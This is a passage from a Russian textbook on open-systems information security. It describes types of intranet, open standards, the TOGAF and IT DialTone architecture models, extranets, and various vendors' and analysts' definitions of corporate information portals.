Первый вид. Базовая сетевая инфраструктура организации дополняется браузерами и веб-серверами с базовым информационным наполнением. Значимость этого наполнения способствует тому, что различные подразделения компании присоединя
102
Информационная безопасность открытых систем
ются к системе и добавляют информацию, а следовательно, значимость интранета экспоненциально увеличивается. Когда сеть начинает широко использоваться и появляется возможность доступа к "критической массе " данных, внимание администратора переключается на структуру и организацию информации.
В таком интранете обеспечивается статический доступ к статическим данным. Термин "статический доступ" указывает на способ поиска информации пользователями. В рассматриваемом случае он осуществляется с помощью имеющихся связей или известных адресов. Данные являются статическими: они однажды созданы и могут быть изменены только владельцем информации.
Второй вид. В дополнение к первой модели вводятся поисковые средства информации. Механизмы поиска информации и путеводители по ресурсам упрощают пользователям нахождение документов, однако приводят к усложнению системы, поскольку нуждаются в управлении индексами поиска. Кроме того, они заставляют администраторов с повышенным вниманием относиться к системной и сетевой производительности. При этом пользователи получают динамический доступ к статическим данным.
Третий вид. В дополнение ко второй модели реализуются интерфейсы между системой и существующими БД и приложениями. Это позволяет связать с интранетом финансовые, кадровые, инженерные, коммерческие и другие приложения и БД, чтобы обеспечить к ним более широкий доступ с помощью простого в использовании клиентского интерфейса.
Для того чтобы обеспечить интерфейс с внешними ресурсами, требуются специализированные программы. Во многих случаях необходим дополнительный код для интеграции информации из множества источников в единое представление.
Пользователи получают средства доступа нового поколения, которые базируются на "выталкивающей" (push) модели предоставления информации. Вместо осуществления запросов и поиска (по системе "вытягивания" информации) пользователи создают свои профили по интересам, на которые ориентируется система, принимая решение, какую информацию выдать конкретному пользователю. Пользователь получает сообщение, когда интересующие его данные поступают в интранете или когда происходят определенные изменения элемента базы данных. Теперь интранет обеспечивает динамический доступ к динамическим данным.
В таком интранете корпорация может строить приложения, обеспечивающие интеграцию данных из множества источников.
Четвертый вид. Имея доступ ко всей корпоративной информации, организации настраивают его в соответствии с задачами бизнеса, потребностями своих клиентов или отдельных служащих. В этой модели интранет обеспечивается персонифицированный доступ к персонифицированным данным внутри и — при соответствующих условиях - вне интранета.
Доступ к интранету может быть реализован через унифицированный или даже персонифицированный вход, получивший название портала. Об этом речь пойдет в п. 2.4.
2.1.5.	Стандарты создания интранета
Известно, что большие ИС, в том числе и открытые, функционируют на основе стандартов. Появление интранет-систем знаменует собой процесс вытеснения решений, основанных на закрытых технологиях (решениях, разработанных одной фирмой
2. Интранет как открытая система
103
для одного приложения), и появления жестких требований к новым приложениям или даже к изменению существующих с тем, чтобы они работали на основе открытых стандартов. Процесс движения к открытым стандартам набирает скорость - коммерческие реализации ключевых компонентов информационных систем, таких, как средства управления ИС, электронная почта, телеконференции, очень быстро переходят на существующие открытые общепризнанные протоколы.
Поскольку важнейшей составляющей интранета является использование вебтехнологий, которые очень быстро меняются, стандарты не всегда успевают за этим процессом.
Выбор стандартов при создании интранета определяется задачами, которые решает организация. Если интранет нужен для получения информации, этот вопрос сводится к выбору множества поддерживаемых браузеров, типов информационного наполнения, схем адресации и серверных интерфейсов прикладного программирования API. Если интранет предназначен для распределенных вычислений, то должен быть принят ряд решений, и наиболее важное из них - какой прикладной протокол будет применяться для связи программ и ресурсов. Существует по крайней мере пять конкурирующих протоколов: Netscape Internet Inter-ORB Protocol (ПОР) для программного доступа к серверу, использующий простейший интерфейс Common Object Request Broker Architecture (CORBA); Distributed Component Object Model (DCOM) компании Microsoft; расширенный HTTP (HyperText Transport Protocol) и XML (Extensible Markup Language); CGI (Common Gateway Interface). Каждый из них имеет свои достоинства и недостатки. То же самое относится и к работе с БД, для которой можно выбрать интерфейс Open Database Connectivity (ODBC) компании Microsoft, Java Database Connection (JDBC) компании JavaSoft или более специализированный интерфейс, такой, как Data Access Object (DAO) или Remote Data Objects (RDO) компании Microsoft.
Стандартизация браузеров, серверов и спецификаций для текстов и мультимедийных данных упрощается по мере того, как характеристики разных продуктов и API становятся примерно одинаковыми. Однако некоторые тонкие различия все же остаются - даже в том, каким образом браузеры поддерживают такие основные возможности представления информации на экране, как таблицы и фреймы.
Приведем лишь часть открытых стандартов, которые сегодня лидируют и фактически стали стандартами де-факто ИС.
	Управление сетевыми устройствами (протокол SNMP).
	Информационный сервис (HTTP, HTML).
	Справочная служба (LDAP, Lightweight Directory Access Protocol - облегченный протокол доступа к каталогам).
	Электронная почта (протоколы SMTP, IMAP, MIME и др.).
• Конференции (протокол NNTP и др., в зависимости от вида — аудио, видео и т. п.).  Программирование (Java и т. п.).
Поскольку интранет является частью среды открытых систем (п. 2.2) и строится на Интернет-технологиях, то все стандарты для этих систем применимы и к интранету.
104
Информационная безопасность открытых систем
2.2. Интранет как часть среды открытых систем
В гл. 1 были рассмотрены основы современной теории открытых систем. Затем были введены базовые понятия и принципы создания и описания интранет-систем. Теперь можно связать воедино эти понятия, вернувшись к проблемам стандартизации и модельного представления открытых систем, и рассмотреть понятия, связанные с формированием сред интранета, но уже на новом, более глубоком уровне, через призму теоретических представлений о среде открытых ИС. Для этого целесообразно обратиться к современным моделям открытых систем, разработанным международными организациями.
Модель TOGAF (The Open Group Architecture Framework) [6] - документ, разрабатываемый международной организацией The Open Group. Он состоит из четырех основных частей. Первая часть ("Введение") описывает ключевые принципы, положенные в основу архитектуры современных ИС вообще и подхода модели TOGAF в частности. Вторая часть - "Метод разработки архитектур" (Architecture Development Method, ADM) - является ядром модели. Она описывает шаги, которым необходимо следовать в разработке архитектуры любой ИС, содержит принципы конструирования архитектуры, формально описывает цикл разработки системы. ADM опирается на "Фундаментальную архитектуру" (TOGAF Foundation Architecture), которая изложена в третьей части документа. Четвертая часть документа - "База ресурсов" (Resource Base) - описывает набор инструментальных средств и методических приемов, доступных для использования при применении модели TOGAF, и в частности методов ADM, на практике.
Модель TOGAF утверждает: непрактично пытаться описать единую, универсальную архитектуру для всех открытых систем. Неверно было бы строить одну архитектуру для любых целей и пытаться рассматривать ИС с одной точки зрения даже внутри одного предприятия, не говоря уже о существенно более сложных, глобальных ИС.
Для решения проблемы синтеза множества архитектур открытых систем модель TOGAF вводит концепцию организационного континуума (enterprise continuum, ЕС), основное содержание которой заключается в следующем. Существует непрерывное и бесконечное множество — континуум архитектур открытых систем, которые конструируются из единой каркасной модели посредством набора более узких моделей и строительных блоков. Такую каркасную модель под названием AF (architectural framework) описывает TOGAF. AF является инструментом для конструирования широкого ранга архитектур, оценки различных архитектур, выбора и построения корректной архитектуры для конкретной корпоративной информационной системы. С помощью AF путем выбора или модификации ее компонентов может быть описано сразу целое семейство взаимосвязанных архитектур.
Организационный континуум - комбинация двух взаимосвязанных и взаимодополняющих друг друга концепций (рис. 20): континуума архитектур (architecture continuum, АС) и континуума решений (solutions continuum, SC).
2. Интранет как открытая система
105
Рис. 20. Организационный континуум (по модели TOGAF)
Под континуумом архитектур понимается широкий диапазон, непрерывное множество архитектур различных типов, которые могут быть разработаны для всевозможных ИС на различных этапах их разработки, конструирования, выбора составных частей и моделей. Континуум архитектур отображает поступательное движение от абстрактного к конкретному, которое имеет место при создании архитектуры каждой ИС, на основе последовательной детализации и перехода от предельно общей модели, такой, как нормативная техническая модель TOGAF, к архитектуре реальной ИС.
В этом множестве архитектурных моделей может быть (условно) выделено несколько "опорных точек".
Фундаментальные архитектуры (foundation architectures, FA) — это архитектуры всех потенциально возможных функций, которые может выполнять какая бы то ни было ИС. FA описывают полную вычислительную среду. Фундаментальная архитектура самой модели TOGAF является примером FA.
Общесистемные архитектуры (common systems architectures, CSA) — это архитектуры, которые руководят выбором и интеграцией определенных сервисов из FA с целью создания архитектур для решения широкого класса взаимосвязанных задач: архитектур защиты, архитектур управления, сетевых архитектур и т. п. Каждая из них неполна, если рассматривается с точки зрения общей функциональности ИС, но полна в рамках определенной проблемы: обеспечения ИБ, управляемости системы, организации телекоммуникационной среды и т. п. Решения, реализующие каждую такую архитектуру, составляют строительные блоки ИС. Они совместимы с другими строительными блоками, синтезированными на основе общей FA, и могут быть использованы в любых комбинациях для создания функционально полных ИС.
Индустриальные архитектуры (industry architectures, I А) — архитектуры, которые руководят интеграцией общесистемных компонентов (компонентов из архитектур класса CSA) с компонентами архитектур из класса IA и созданием целевых решений для потребителя внутри определенной отрасли, например для банковской сферы, нефтехимической, газовой промышленности, авиакомпаний и т. п.
Архитектуры организаций (organization architectures, О А) описывают и руководят окончательным развертыванием компонентов ИС, из которых слагается необходимое
106
Информационная безопасность открытых систем
решение для определенной организации. Компоненты могут приобретаться пользователем в виде готовых решений, соответствующих архитектурам перечисленных выше классов, либо разрабатываться им самим.
Под континуумом решений понимается последовательный путь практической реализации архитектур из соответствующего уровня континуума архитектур, "население" логических моделей, абстрактных по своей сути, конкретными продуктами и системами информационных технологий. Из них, как из строительных блоков, постепенно вырастает реальная ИС, которая решает все задачи информационного обеспечения деятельности предприятия (организации, учреждения). В континууме решений также (условно) выделяется несколько опорных точек.
Продукты и услуги - это раздельно существующие (разработанные поставщиком или приобретенные конечным пользователем) аппаратные, программные или вспомогательные модули. Под последними понимаются различные услуги на рынке ИТ: обучение, консультации, системная интеграция, обслуживание и т. п. Продукты - это мельчайшие единицы, которые выполняют какие-либо полезные для потребителя функции обработки (передачи, хранения) данных.
Системные решения - это реализации CSA, слагаемые из набора продуктов и услуг, которые могут быть определенным образом оценены или сертифицированы на соответствие некоторым требованиям или задачам, сформулированным в CSA, например на соответствие критериям защищенности информации, высокой производительности и т. п.
Индустриальные решения - это реализации IA, которые обеспечивают универсальные пакеты компонентов и услуг, общих для определенной отрасли промышленности. Они могут набираться из стандартных продуктов и решений, но могут требовать и специального аппаратного и программного обеспечения. Например, в банковской сфере - банкоматы и пластиковые карты с соответствующим ПО.
Решения для организаций - это реализации ОА, которые обеспечивают требуемые функции для данной, конкретной организации. Они содержат наибольшее количество неповторимого, уникального контента, чтобы максимально полно отвечать требованиям всех деловых процессов, должностных лиц и потребителей организации.
Фундаментальная архитектура TOGAF — это архитектура общих сервисов и функций, обеспечивающих базис, на котором могут быть синтезированы более специфичные архитектуры и архитектурные элементы. Она состоит из трех компонентов: нормативной технической модели (Technical Reference Model, TRM), информационной базы стандартов (Standards Information Base, SIB) и информационной базы строительных блоков (Building Blocks Information Base, BBIB).
Основное назначение TRM - это описание тех функций вычислительной платформы, которые служат для поддержки ПП. Основные элементы TRM - это прикладное ПО, платформа приложений, коммуникационная инфраструктура, интерфейс платформы приложений (Application Platform Interface), интерфейс коммуникационной инфраструктуры (Communications Infrastructure Interface, СП) (рис. 21). TRM классифицирует сервисы платформы приложений.
SIB - это систематизированное собрание большого числа стандартов, наработанных за долгие годы различными международными организациями, апробированных или широко принятых в промышленности, выбранных членами The Open Group в ка
2. Интранет как открытая система
107
честве ядра для реализации открытых систем. В SIB все стандарты классифицированы по категориям сервисов, соответствующих TRM.
BBIB содержит информацию о строительных блоках, которые могут быть использованы в конструировании архитектур.
Бизнес-приложения
Инфраструктурные приложения
Интерфейс коммуникационной инфраструктуры (СИ)
Коммуникационная инфраструктура
Рис. 21. Нормативная техническая модель TOGAF
TRM и SIB не являются строго обязательными для любой ИС. Потребитель вправе выбирать или разрабатывать такую техническую модель своей системы и такие правила ее организации, которые лучше всего удовлетворяют его запросы. TRM и SIB, специфицированные The Open Group, отображают сложившуюся общемировую практику создания крупномасштабных ИС.
Как и в базовой модели среды открытых систем POSIX OSE/RM (рассмотренной в п. 1.5.2), в TRM модели TOGAF не детализируется структура платформы приложений. Основное отличие, однако, состоит в том, что TOGAF специфицирует полный набор стандартных сервисов из 12 групп сервисов, которые могут предоставляться платформой ПП в любой потенциально возможной ИС: сервисы графики и обработки изображений, сервисы обмена данными, сервисы управления данными, сервисы интернационализации операций, сервисы пользовательского интерфейса, сервисы размещения ресурсов и директориальные сервисы (location and directory), сервисы разработки программ (software engeneering), сервисы обработки транзакций, сервисы безопасности, сервисы управления системами и сетями, сетевые сервисы, сервисы ОС. Последние две группы сервисов условно помещены в нижний уровень платформы приложений. Они, как правило, являются основой реализации всех остальных
108
Информационная безопасность открытых систем
вышеперечисленных сервисов. Необходимость реализации того или иного сервиса в конкретной системе определяется целями и задачами этой системы.
Кроме того, определяется понятие "качество сервисов". Он применяются ко всем категориям сервисов и влияют на способ реализации и взаимодействия этих сервисов в конкретной ИС. Качества сервисов, разделенные по четырем категориям, описывают свойства, которые должны быть обеспечены однородно и взаимосвязанно во всех категориях сервисов: доступность, гарантированность, используемость (легкость действий пользователей), адаптируемость.
Внешняя среда в ранних версиях модели TOGAF понималась точно так же, как и в модели POSIX OSE/RM. Это все внешние объекты, с которыми АР обменивается информацией, причем обмен производится через EEI. В дальнейшем под внешней средой стала подразумеваться прежде всего коммуникационная инфраструктура, к которой "подключена" рассматриваемая ИС.
Так как современные корпоративные ИС являются сложными системами, для описания их различных аспектов используются различные средства и инструменты. В связи с этим модель TOGAF вводит несколько так называемых взглядов (views) на открытую ИС.
Функциональный взгляд (function view) затрагивает операционные аспекты системы, отталкиваясь от описания существующей среды ИТ и требований к функциям открытой системы. Это взгляд со стороны специалиста в той предметной области, которую обслуживает система.
Взгляды на реализацию (implementation views) - это описание строения открытой системы с точки зрения специалистов по ИТ различного профиля.
	Взгляд на управление системой (management view) — это рассмотрение системы с точки зрения лиц, ответственных за ее эксплуатацию: долгосрочное планирование целей деятельности открытой ИС, оперативно-диспетчерское управление, конфигурирование и администрирование ПО и пр.
	Взгляд на безопасность (security view) имеет целью обеспечить контролируемое использование информации в системе, сосредотачиваясь на аспектах защиты информации внутри открытой ИС.
	Взгляд на строение программного обеспечения (builder’s view) охватывает те стороны создания и функционирования ИС, которые важны для разработчиков ПО: переносимость, способность к взаимодействию, методы разработки сложных программных систем и пр.
	Взгляд на управление данными (data management view) изучает процессы хранения, доступа, обработки, архивации, передачи данных, в том числе средства и методы систематизированного хранения и управления данными, защиту, администрирование данных.
	Пользовательский взгляд (user view) включает эргономические аспекты работы пользователя: удобство, простоту видения системы, среду работы пользователей.
Физические взгляды (physical views) — это взгляды на открытую систему с точки зрения физической ее организации и размещения в пространстве.
	Взгляд на организацию вычислений (computing view) - это множество различных способов, которыми программные и аппаратные компоненты могут быть собраны в работоспособную структуру, т. е. модели организации вычислений (уже рассмотренные в п. 1.4.1).
2. Интранет как открытая система
109
	Коммуникационный взгляд (communications view) — это географический аспект организации системы, т. е. ее коммуникационная инфраструктура. Она рассматривается здесь с двух позиций. Физически - как состоящая из трех уровней: локального, регионального и глобального. Логически — как состоящая из пяти архитектурных уровней на базе расширенной модели ISO/OS1: уровня передачи (transmission level) - ниже физического уровня модели OSI, уровня сетевых переключений (network switching level) - с 1-го по 3-й уровень OSI, уровня обмена данными (data exchange level) - с 4-го по 7-й уровень модели OSI, сервисов прикладного уровня модели OSI и уровня ПП.
Предшественником модели TOGAF являлась модель среды открытых систем IT DialTone [4], также синтезированная организацией The Open Group, ныне уже упраздненная и выведенная из официального обращения, но очень важная для учебных целей. Это каркасная модель архитектуры глобальной информационной системы для бизнес-приложений на базе общей коммуникационной инфраструктуры глобального масштаба: глобальных телекоммуникационных сетей, виртуальных частных сетей (Virtual Private Network, VPN), открытых общедоступных сетей, в пределе - на основе всемирной сети Интернет. Создание этой модели явилось первой попыткой теоретического описания глобальной информационной среды, сформировавшейся на базе Интернета (рис. 22), и, что важно в нашем случае, четко демонстрирует соотношение понятий интранета и Интернета.
Предприятие
Партнеры Клиенты
Законы, правила, условия, стандарты
Соглашения, договоры
Политика предприятия
Бизнес-функция 1
Бизнес-функция 2
Бизнес-функция 3
Платформа 1
Платформа 2
Сервисы внутренней среды предприятий
Сервисы среды предприятий-партнеров
Сервисы глобальной среды Интернет
Рис. 22. Модель информационной среды на основе глобальной сети Интернет
Модель IT DialTone является примером общесистемной архитектуры (по классификации TOGAF) и согласована с этой моделью. Принципиально новым по сравнению со всеми предыдущими моделями, которые были рассчитаны на описание распределенных, но не глобальных ИС, в ней является то, что с позиций каждого пользователя (потребителя информации) доступная ему открытая информационная среда
110
Информационная безопасность открытых систем
представляется как ряд разномасштабных ИС, соответствующих различным организационным структурам: от своей локальной вычислительной системы, ИС отдела, предприятия в целом, объединения, отрасли до среды Интернет.
Средством передачи данных между отдельными сегментами глобальной ИС согласно этой модели является глобальная коммуникационная инфраструктура (IT DialTone Core Infrastructure) - совокупность некоторого, возможно большого или даже неопределенного числа, взаимосвязанных и взаимодействующих между собой глобальных, региональных и локальных коммуникационных сетей.
На сегодняшний день основным (да и практически единственным) стандартом коммуникационной инфраструктуры в масштабах сети Интернет стала коммуникационная архитектура TCP/IP [10]. Необходимым качеством глобальной инфраструктуры является открытость. В общем случае ни один производитель аппаратного или программного обеспечения не может удовлетворить все требования потребителя. Инфраструктура на базе TCP/IP должна собираться из компонентов, доставленных различными поставщиками, которые следуют общим международным стандартам. Вот почему очень часто понятие интранета ассоциируется или даже отождествляется с сетью, построенной на базе архитектуры TCP/IP (хотя всегда надо иметь в виду, что с точки зрения теории открытых ИС это не совсем верно!).
Архитектурная модель IT DialTone в основных чертах аналогична модели TOGAF: она включает эталонную архитектурную модель (Architecture Reference Model, ARM) - конкретизированную TRM модели TOGAF, SIB и ADM являются общими для обеих моделей. Согласно ARM компоненты среды IT DialTone разделяются на три блока.
ПП и средства взаимодействия с пользователем обеспечивают прикладные сервисы, не зависимые от положения внутри распределенной среды. ПП подразделяются на два класса: бизнес-приложения и инфраструктурные приложения. Функции биз-нес-приложений выходят за рамки модели IT DialTone и в ней не рассматриваются. Инфраструктурные ПП обеспечивают обшецелевые бизнес-функции, базируясь на сервисах инфраструктуры. С течением времени некоторые бизнес-приложения имеют тенденцию переходить в разряд инфраструктурных, а те, в свою очередь, в разряд сервисов системы.
Сервисы распределенной системы предоставляют услуги, которые создают условия для прозрачной работы ПП: сервисы представления и взаимодействия с пользователем, сервисы интеграции ПО, сервисы управления информационными потоками, сервисы безопасности, сервисы управления, директориальные сервисы и сервисы размещения ресурсов, сервисы данных, сервисы распределенных вычислений, коммуникационные сервисы, сервисы платформ.
Коммуникации и платформы формируют основание, на котором строятся распределенные среды.
Необходимо иметь в виду, что понятие интранета как таковое обычно не используется напрямую в стандартизирующих документах и моделях, - его всегда необходимо тем или иным образом "высмотреть", изучая модель открытой системы. Это объясняется тем, что объект рассмотрения любой модели - гораздо более абстрактное и общее понятие, чем те, которые интересуют рядового пользователя, потребителя, системного интегратора или инженера. Кроме того, следует помнить, что современная теория открытых систем располагает гораздо более обширными и глубокими
2. Интранет как открытая система
111
средствами анализа и синтеза архитектуры и структуры корпоративных ИС, чем те, которые были рассмотрены в качестве примеров в этой главе.
2.3. Интранет и экстранет
Другим способом обеспечения совместного доступа деловых партнеров к информации, хранящейся в интранете, является создание экстранета (extranet) - части интранета, предназначенной для доступа извне. Это сеть обмена информацией, объединяющая как собственную внутреннюю сеть предприятия (интранет), так и внутренние сети его удаленных подразделений и партнеров. Например, несколько компаний могут создать экстранет для универсализации процесса обучения, сбора и совместного использования данных по некоторому общему проекту. В этом случае Интернет используется для передачи информации между интранетами предприятий. В отличие от интранета замкнутой, защищенной от внешнего вторжения компьютерной информационной сети, экстранет предназначен для внешних пользователей.
Деловые партнеры часто создают экстранеты, обеспечивающие ограниченный доступ к отдельным частям своих интранетов. В экстранете каждая компания использует свою систему безопасности для обеспечения доступа сотрудников других организаций только к той информации, которая действительно нужна им для работы. В жизни граница между сотрудником, партнером и клиентом очень условна. Некоторым внешним партнерам можно доверять как сотрудникам, и их работа очень нужна. Ряд сотрудников работают на повременной оплате за штатом компании и не являются фактически сотрудниками. Деловым партнерам доступны только те части интранета, на которые они имеют соответствующие права доступа. Для конкурентов же любой доступ к такой интранет закрыт. Для ИС не имеет значение, что эксперт проекта находится в Москве, клиент - в Штатах, а руководитель проекта - в Екатеринбурге. Все получают информацию в соответствии со своими ролями и предусмотренными в ПБ способами контроля и предоставления доступа. Для этого создаются системы, предназначенные для управления аутентификацией, авторизацией, профилями и правами пользователей (примером может являться разработка IdentityMinder компании Netegrity).
Типичным и популярным примером экстранет-решений является, например, Ин-тернет-трейдинг и Интернет-банкинг. Очень значительную экономию получают компании с развитыми дилерскими сетями — экстранет-решение позволяет открыть дилерам постоянно доступную и актуальную информацию о номенклатуре, состоянии склада и прочем, а также автоматизировать процесс приема и обработки заявок.
При наличии экстранета для получения доступа к корпоративным данным служащим компании уже не нужно связываться по телефонной линии с сервером удаленного доступа; достаточно подключиться к Интернету в любой точке мира через защищенный канал связи. Вместо применения форматов электронного обмена данными в интегрированных сетях становится возможным открытый диалог между клиентами и поставщиками через Интернет.
Приложения, обеспечивающие возможность совместной работы сотрудников, являются мощнейшим средством экстранета. Эти приложения позволяют совместно использовать интеллектуальные ресурсы нескольких компаний при работе над общими проектами и обеспечивают решение задач разного уровня: от совместного использования файлов до осуществления ответственных бизнес-операций с партнера
112
Информационная безопасность открытых систем
ми. Кроме того, поставщики, заказчики и другие партнеры могут подключаться к экстранету через провайдеров услуг Интернет для получения ответственной информации.
Обычно построение экстранета требует немалых усилий [28]. БД, приложения и прочая важная производственная информация должны быть защищены с помощью МЭ, шифрования или сочетания того и другого. Традиционные системы удаленного доступа не поддерживают доступ к экстранету. Доступ через экстранет требует специальных продуктов. Для гладкого функционирования экстранета критически важно наличие законченного комплекта ПО или оборудования типа поставляемых компаниями Netscape Communications, Lotus Development и Bay Networks (например, специального коммутатора для экстранета). При выборе провайдера услуг доступа к сети следует остановиться на том, который предоставляет высокопроизводительную сеть с малым временем ожидания, обеспечивает вход через коммутируемую линию и дает гарантии обслуживания. При этом опыт провайдера и техническое состояние сети иногда важнее стоимости обслуживания.
Поскольку экстранет, как и интранет, является IP-системой, предназначенной в основном для использования между организациями, между организацией и клиентами или между клиентами, то стандарты имеют здесь огромное значение [29]. Ни одна компания не может диктовать другой, какие использовать технологии. Но если обе они не будут говорить на одном и том же языке, ни о какой коммуникации между ними не может быть и речи. Теперь, когда браузеры и сервис-провайдеры имеются повсюду, решена самая крупная проблема стандартов экстранета. Клиенты могут взаимодействовать с серверами независимо от используемой платформы. Однако остается нерешенной такая важная проблема, как обеспечение ИБ. Как можно гарантировать, что к экстранету получают доступ только выбранные деловые партнеры? Как понять, что ваши посетители - именно те, за кого они себя выдают? Наиболее полезными для экстранета для достижения двух целей защиты - конфиденциальности и аутентификации оказываются две технологии: Secure Sockets Layer (SSL) и виртуальные частные сети (VPN). Они будет рассмотрены в соответствующих главах второй части учебника.
2.4. Портал и интранет
Появление информационных порталов как самостоятельной информационной единицы можно датировать 1994-1995 гт. [30, 31], когда в Интернете появился новый класс коммерческих узлов - информационные накопители (Yahoo, AltaVista, Lycos, Google и др.). Самым первым был поисковый портал Yahoo, затем приобрели "портальный" облик поисковые машины Lycos, Infoseek (теперь go.com), Excite, Netscape, AOL, AltaVista. За первые четыре месяца существования портала Yahoo (с июня по сентябрь 1996 г.) наблюдался более чем 50 %-ный рост числа посещений этого вебузла. Его отличительными чертами, как и других поисковых машин, являются обязательное окно для ввода искомых слов и рубрикация по тематике, подобная систематическому каталогу в библиотеке. Уровень систематического каталога зависит от квалификации составителей. Над ведением Yahoo работает несколько сотен человек. С расширением Интернета эти узлы стали путеводителями для пользователя сети.
Первое упоминание слова "портал" связывают с выпуском Шайлаксом и Тилма-ном из компании Merrill Lynch (Shilakes С. С., Tylman J. Enterprise Information Portals)
2. Интранет как открытая система
113
в ноябре 1998 г. отчета, в котором впервые было введено понятие корпоративного информационного портала (Enterprise Information Portal, EIP), под которым понимались приложения, позволяющие компаниям раскрывать информацию, хранящуюся внутри и вне организации, и предоставлять пользователям единый шлюз доступа к персонализированной информации, необходимой для принятия бизнес-решений. Они являются "совокупностью программных приложений, которые консолидируют, управляют, анализируют и распространяют информацию по всему предприятию и за его пределами". Их основные характеристики, с точки зрения Merrill Lynch, таковы:  использование технологий передачи и сбора данных для предоставления инфор-
мации пользователям через стандартизованный веб-интерфейс;
	интерактивность - возможность задавать вопросы и совместно использовать информацию на рабочем столе пользователя;
	тенденция к "вертикализации" ПП, т. е. корпоративные порталы (КП) часто являются приложениями, предоставляющими "специализированный контент для конкретных индустрий или корпоративных функций";
	интеграция разнородных приложений (включает приложения управления контентом, business intelligence, управления данными и хранилищами данных, а также внешние данные) в единую систему, которая позволяет "управлять, распределять и поддерживать информацию с помощью единого центрального пользовательского интерфейса".
В январе 1999 г. практически одновременно появились еще две работы на тему порталов - Джерри Мюррея из IDC и Колина Вайта. В отличие от Merrill Lynch Джерри Мюррей (директор по исследованиям систем управления знаниями IDC) считает, что КП - это больше, чем шлюз (Murray G. The Portal is the Desktop. 1999. Jan.). IDC считает, что "порталы, которые концентрируются лишь на работе с контентом, не отвечают нуждам корпоративного рынка. КП должны подключать ... не только ко всей необходимой информации, но и ко всем нужным... людям и предоставлять инструменты, необходимые для поддержки совместной работы. Это означает, что ПО для коллективной работы, электронная почта, приложения для управления рабочими процессам (workflow) и настольные приложения — и даже критические бизнес-приложения - должны быть доступны через портал, который становится вашим рабочим столом".
Основатель компании DataBase Associates International, занимающейся консалтингом в области ИТ и один из крупнейших аналитиков Колин Вайт определяет EIP просто как систему, предоставляющую пользователям единый веб-интерфейс доступа к корпоративной информации, разбросанной по всему предприятию (The Enterprise Information Portal Marketplace. 1999. Jan.). Руководствуясь этим определением, он классифицирует EIP на две основные категории, следуя двум наиболее частым задачам: decision processing и collaborative processing. Decision processing EIP помогают "пользователям организовывать и находить корпоративную информацию в системах, которые входят в цепь поставки бизнес-информации". Информация такого типа является в высшей степени структурированной и получается из операционных данных и информации, хранящейся в хранилищах данных, а также из внешних систем. Decision processing EIP используют инструменты business intelligence и аналитические приложения для создания отчетов и анализа, а затем распространяют их по всему предприятию всевозможными электронными способами. Collaborative processing EIP помога
114
Информационная безопасность открытых систем
ют "пользователям организовывать и совместно применять информацию в рабочих группах, такую, как электронная почта, материалы групповых обсуждений, отчеты, напоминания и протоколы собраний". Информация этого типа относительно неструктурированна и поступает от отдельных участников работы и из рабочих групп. Она обрабатывается с помощью совместных инструментов groupware и workflow.
В следующем представлении от Delphi Group КП централизуют "корпоративный доступ к информации в графически богатом, независимом от приложений интерфейсе, который отображает технологические процессы, завязанные на знаниях, и предоставляют единую точку интеграции по всему предприятию". Они должны интегрировать "острова автоматизации", сформированные из современных рабочих ПК, и постепенно создавать интегрированную бизнес-среду, "предоставляющую информационный доступ, доставку и поддержку рабочих процессов по всем измерениям организации".
В отчете Data Warehousing Institute Уэйн Экерсон, директор по исследованиям Data Warehousing Institute, определяет портал как приложение, которое "предоставляет пользователям единую точку для доступа к любым нужным им информационным объектам, находящимся как внутри, так и снаружи корпорации" (Wayne Eckerson, ’’Business Portals: Drivers, Definitions, and Rules", April 1999). Он утверждает, что шлюзовые функции приложения портала в его представлении являются фундаментальными. Помимо этого, подчеркивается важность совместных услуг, таких, как безопасность, хранение метаданных, персонализация, поиск, публикация и абонентские услуги и т. д. Data Warehousing Institute почти не уделяет внимания сотрудничеству и приложениям поддержки технологических процессов, ни в своем определении, ни в спецификации концепции портала. Он отмечает, что пользователи могут помещать информацию в хранилища порталов, что будет способствовать сотрудничеству. Однако это практически все, что он говорит о сотрудничестве, описывая функции порталов. Таким образом, его портал больше всего напоминает представление IDC о EIP - информационный шлюз, предоставляющий пользователю доступ к большому объему структурированного и неструктурированного контента для поддержки процессов принятия решений.
Определение одного из важнейших поставщиков в области EIP - компании Plumtree Software основано на различиях между корпоративными и публичными порталами в видах доступа. Plumtree перечисляет следующие семь характеристик КП, отличающие их от Интернет-порталов:
	автоматический поиск и организация доступа к новому контенту;
	интегрированный доступ к более широкому спектру форматов данных, чем в Интернет-портал ах;
	организация доступа к информации для удобства просмотра пользователем;
	сбор персонализированных картин важной информации и извещение пользователей о появлении нового материала по электронной почте или через другие каналы;
	организация доступа к данным, однако без хранения самих данных;
	расширяемость и открытость для занесения в каталог новых типов информации;
	безопасность и выборочная блокировка доступа к внутренней корпоративной информации.
2. Интранет как открытая система
115
Однако в определении не рассматриваются типы приложений, поддерживаемые с помощью этого доступа, таким образом, оно соответствует определениям порталов поддержки принятия решений с поддержкой и без поддержки процессов сотрудничества, порталов поддержки процессов сотрудничества и технологических процессов, экспертных порталов и порталов знаний.
Компания Viador, другой заметный поставщик порталов, определяет EIP как "приложения, которые позволяют компаниям предоставлять доступ к информации, хранящейся внутри и снаружи компаний, а также предлагать пользователям внутри и снаружи компании единое окно для просмотра персонализированной информации, необходимой для принятия обоснованных бизнес-решений. Корпоративный информационный портал — это система на основе браузера, которая предоставляет полный доступ ко всей важнейшей бизнес-информации, точно так же, как контентные порталы в Интернете типа Yahoo являются шлюзами доступа к контенту Интернета". С первого взгляда кажется, что это похоже на мнение Вайта. Но в сущности определение Viador гораздо ближе к формулировке бизнес-портала Data Warehousing Institute, поскольку, в отличие от Вайта, EIP-определение Viador практически не уделяет внимания приложениям для совместной работы.
Согласно определению компании Information Advantage КП должны предоставлять всеобъемлющие интеллектуальные возможности для сотрудников, ответственных за принятие решений, поддерживать беспрецедентный уровень доступности, приспосабливаться к изменениям и увеличению численности пользователей. Здесь опять сдвиг в сторону business intelligence, широкого доступа и приспосабливаемости и также слышны отголоски формулировок Data Warehousing Institute и Viador, поскольку Information Advantage четко концентрируется на процессах принятия решений, не уделяя значительного внимания сотрудничеству или функциям технологических процессов.
Компания Sqribe определяет EIP как автоматизированный информационный шлюз, который доставляет информацию пользователям на основе их уровня безопасности, позиции и интересов, способен предоставить доступ к любой информации в любое время, независимо от содержания этой информации, и представляет собой единую точку доступа ко всей информации предприятия. Sqribe, подобно Data Warehousing Institute, Viador и Information Advantage, в своем определении портала почти не уделяет внимания сотрудничеству и технологическим процессам. Для Sqribe EIP - это КП поддержки принятия решений, а компонент сотрудничества при этом полностью исключается.
